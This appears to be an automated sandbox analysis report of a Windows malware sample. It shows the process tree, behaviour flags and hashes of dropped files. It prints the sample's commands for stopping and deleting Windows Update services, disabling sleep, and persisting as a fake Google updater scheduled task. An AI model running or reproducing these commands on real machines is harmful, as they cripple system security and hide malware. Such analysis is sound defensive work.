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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3388 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:944
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:744
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:2852
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:2840
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:2172
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:3712
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:1344
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵PID:1416
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:3892
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:4716
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
PID:4924 -
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵PID:1104
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵PID:3616
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵PID:2080
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵PID:4100
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe etzzkakmg2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2288
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:5056 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵PID:1608
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:3648
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe ztzptsnoedioejdw 9iglejqod3hFFxVhkr+WUaol7tpsq+sx3xs4hsVXOg+m/MQNrGWjJxY7q+IriA/on0Hr8KA98LUOT5htKhbexvQM3CPn32BhsKxg1njCTOhUeztmqm8Mu/ZFhejkqTEpJHxOXGbz6fkYGFdYncO7npPPBS03OOiqaTGas+PgMCqGPbreQed32DvfYpa0SQ2FJR9dTs7giUOVM3pXJtMKLvbAgrjXk3uGyZ0rmkqINAQ=2⤵PID:4456
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3776 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#hpfjuzary#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1156 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1156 -s 20363⤵
- Program crash
PID:1972
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 444 -p 1156 -ip 11561⤵PID:4812
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
53.0MB
MD55c4eecf00e9f6e0222c205c3dc327bb8
SHA12188e4b277e214364804a4ffcef23017a769722f
SHA2562fa065de1468413ea4f909f527e4b7d03bca047c5d4adf1dfa7ade9155ad84e3
SHA5120b1761d562484cf54a43599e84836b595dc948f86ecc438ef9bfcb9a30d40e0e51046ff4e3a1d30516971fe92ccb233d0f06613ff17695f9075185effc77db39
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Filesize
53.0MB
MD55c4eecf00e9f6e0222c205c3dc327bb8
SHA12188e4b277e214364804a4ffcef23017a769722f
SHA2562fa065de1468413ea4f909f527e4b7d03bca047c5d4adf1dfa7ade9155ad84e3
SHA5120b1761d562484cf54a43599e84836b595dc948f86ecc438ef9bfcb9a30d40e0e51046ff4e3a1d30516971fe92ccb233d0f06613ff17695f9075185effc77db39
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD559d97011e091004eaffb9816aa0b9abd
SHA11602a56b01dd4b7c577ca27d3117e4bcc1aa657b
SHA25618f381e0db020a763b8c515c346ef58679ab9c403267eacfef5359e272f7e71d
SHA512d9ca49c1a17580981e2c1a50d73c0eecaa7a62f8514741512172e395af2a3d80aeb0f71c58bc7f52c18246d57ba67af09b6bff4776877d6cc6f0245c30e092d6
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Filesize
1KB
MD5625af78bcfb9dc475306370a1e54bc3f
SHA1b6daf898ccca5b95f91fd86358e34133e7b9038e
SHA256b411be7c48c244a524a287d1cae22d0b7bf48537492470bf643ee31fc335fd62
SHA512f61d9e4e1c1d60a7f0d356a46f10ac6a9fe30695565cbfef3c9889c1dec868575892359d11ccac32fca162945b81cffb81772f27e7a1edfa56ff2c1859f00bd1
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5